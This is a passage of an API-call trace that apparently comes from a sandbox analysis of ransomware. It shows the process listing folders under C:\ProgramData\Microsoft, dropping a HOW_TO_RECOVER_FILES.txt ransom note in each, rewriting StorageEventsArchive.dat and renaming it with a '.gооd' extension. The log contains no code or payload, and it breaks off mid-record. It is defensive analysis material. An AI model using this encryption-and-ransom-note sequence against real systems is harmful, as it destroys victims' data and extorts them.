[0074.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0074.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0074.652] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Spectrum\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Spectrum\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3a [0074.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0074.652] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Spectrum\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\spectrum\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0074.653] GetFileType (hFile=0x6b0) returned 0x1 [0074.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0074.653] GetFileType (hFile=0x6b0) returned 0x1 [0074.654] WriteFile (in: hFile=0x6b0, lpBuffer=0x328b7c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x328b7c0*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0074.657] CloseHandle (hObject=0x6b0) returned 1 [0074.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0074.657] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Speech_OneCore", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Speech_OneCore", lpFilePart=0x0) returned 0x27 [0074.657] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Speech_OneCore\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0074.658] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.658] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0074.659] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0074.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0074.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0074.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0074.659] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Speech_OneCore", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Speech_OneCore", lpFilePart=0x0) returned 0x27 [0074.659] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Speech_OneCore\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0074.659] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.659] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0074.659] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0074.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0074.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0074.659] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Speech_OneCore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Speech_OneCore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x40 [0074.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0074.660] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Speech_OneCore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\speech_onecore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0074.661] GetFileType (hFile=0x6b0) returned 0x1 [0074.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0074.661] GetFileType (hFile=0x6b0) returned 0x1 [0074.662] WriteFile (in: hFile=0x6b0, lpBuffer=0x329c7c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x329c7c8*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0074.663] CloseHandle (hObject=0x6b0) returned 1 [0074.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0074.672] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Storage Health", lpFilePart=0x0) returned 0x27 [0074.672] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0074.672] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.672] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4dcad0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x2ab8b28d, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x1571, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageEventsArchive.dat", cAlternateFileName="STORAG~1.DAT")) returned 1 [0074.673] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageHealthModel.dat", cAlternateFileName="")) returned 1 [0074.673] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.673] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0074.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0074.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0074.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0074.673] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Storage Health", lpFilePart=0x0) returned 0x27 [0074.673] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0074.673] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.673] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4dcad0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x2ab8b28d, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x1571, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageEventsArchive.dat", cAlternateFileName="STORAG~1.DAT")) returned 1 [0074.674] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageHealthModel.dat", cAlternateFileName="")) returned 1 [0074.674] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageHealthModel.dat", cAlternateFileName="")) returned 0 [0074.674] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0074.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0074.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0074.674] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", lpFilePart=0x0) returned 0x40 [0074.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0074.674] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat"), fInfoLevelId=0x0, lpFileInformation=0x32aba88 | out: lpFileInformation=0x32aba88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4dcad0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x2ab8b28d, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x1571)) returned 1 [0074.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0074.675] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", lpFilePart=0x0) returned 0x40 [0074.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0074.675] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0074.675] GetFileType (hFile=0x6b0) returned 0x1 [0074.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0074.675] GetFileType (hFile=0x6b0) returned 0x1 [0074.675] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0074.675] ReadFile (in: hFile=0x6b0, lpBuffer=0x32abee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x32abee0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x571, lpOverlapped=0x0) returned 1 [0074.677] CloseHandle (hObject=0x6b0) returned 1 [0074.677] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", lpFilePart=0x0) returned 0x40 [0074.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0074.677] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0074.677] GetFileType (hFile=0x6b0) returned 0x1 [0074.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0074.677] GetFileType (hFile=0x6b0) returned 0x1 [0074.677] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1571 [0074.677] WriteFile (in: hFile=0x6b0, lpBuffer=0x32ad188*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x32ad188*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0074.677] CloseHandle (hObject=0x6b0) returned 1 [0074.679] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", lpFilePart=0x0) returned 0x40 [0074.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0074.679] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0074.679] GetFileType (hFile=0x6b0) returned 0x1 [0074.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0074.679] GetFileType (hFile=0x6b0) returned 0x1 [0074.679] ReadFile (in: hFile=0x6b0, lpBuffer=0x32af458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x32af458*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0075.340] CloseHandle (hObject=0x6b0) returned 1 [0075.340] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", lpFilePart=0x0) returned 0x40 [0075.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0075.341] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0075.341] GetFileType (hFile=0x6b0) returned 0x1 [0075.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0075.341] GetFileType (hFile=0x6b0) returned 0x1 [0075.341] WriteFile (in: hFile=0x6b0, lpBuffer=0x31cee20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x31cee20*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0075.341] CloseHandle (hObject=0x6b0) returned 1 [0075.342] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", lpFilePart=0x0) returned 0x40 [0075.342] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat.gоod", lpFilePart=0x0) returned 0x45 [0075.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0075.342] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4dcad0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x291fc541, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1581)) returned 1 [0075.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0075.342] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat.gоod" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat.gоod")) returned 1 [0075.343] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageHealthModel.dat", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Storage Health\\StorageHealthModel.dat", lpFilePart=0x0) returned 0x3e [0075.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0075.343] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storagehealthmodel.dat"), fInfoLevelId=0x0, lpFileInformation=0x336e920 | out: lpFileInformation=0x336e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1375f)) returned 1 [0075.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0075.344] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageHealthModel.dat", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Storage Health\\StorageHealthModel.dat", lpFilePart=0x0) returned 0x3e [0075.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0075.344] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storagehealthmodel.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0075.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eafa0) returned 1 [0075.346] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Storage Health\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x40 [0075.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0075.346] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\storage health\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x790 [0075.670] GetFileType (hFile=0x790) returned 0x1 [0075.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0075.670] GetFileType (hFile=0x790) returned 0x1 [0075.671] WriteFile (in: hFile=0x790, lpBuffer=0x353b950*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x353b950*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0075.672] CloseHandle (hObject=0x790) returned 1 [0075.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0075.672] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV", lpFilePart=0x0) returned 0x1c [0075.672] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, 